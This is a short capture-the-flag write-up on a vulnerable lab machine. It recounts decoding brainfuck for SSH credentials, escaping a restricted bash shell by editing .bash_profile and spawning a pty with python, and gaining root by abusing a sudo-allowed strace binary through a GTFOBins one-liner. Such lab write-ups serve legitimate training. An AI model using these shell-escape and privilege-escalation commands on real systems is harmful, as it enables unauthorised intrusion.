I have to use brainfuck.

Decode brainfuck

Seriously, I was stuck on this web page for 2 minutes because I was unable to see the output on the left…

ssh

ssh ud64@192.168.0.40 -p 1337

password:
1M!#64@ud

It’s broken everywhere.
-rbash: /bin/ls: restricted: cannot specify `/‘ in command names
But I can use vi.

$PATH

The PATH variable is almost empty.

ud64@unknowndevice64_v1:~$ echo $PATH
/home/ud64/prog
ud64@unknowndevice64_v1:~$ export PATH=$PATH:/usr/local/bin
-rbash: PATH: readonly variable

There is something in prog.
I use TAB to show what is in the directory.

ud64@unknowndevice64_v1:~$ ls 
.bash_history  .screenrc      Downloads/     Public/        web/           
.bash_profile  Desktop/       Music/         Videos/        
.config/       Documents/     Pictures/      prog/          
ud64@unknowndevice64_v1:~$ ls prog/
date    id      vi      whoami

I have edited the .bash_profile to change the PATH.

PATH=$HOME/prog:/usr/local/bin:/usr/bin:/bin

Some commands still don’t work but it’s good for python

python -c 'import pty; pty.spawn("/bin/bash")'

Now everything is working.

sudo -l

ud64@unknowndevice64_v1:~$ sudo -l
User ud64 may run the following commands on unknowndevice64_v1:
    (ALL) NOPASSWD: /usr/bin/sysud64

Let’s try it.

sudo /usr/bin/sysud64 su

Oh god, it’s broken everywhere, but I’m root, gg wp.

sysud64

ud64@unknowndevice64_v1:~$ sudo /usr/bin/sysud64 -V

It’s strace. let’s see in gtfobin what we can do.
https://gtfobins.github.io/gtfobins/strace/
strace -o /dev/null /bin/sh
So for me it will be:

sudo /usr/bin/sysud64 -o /dev/null /bin/sh
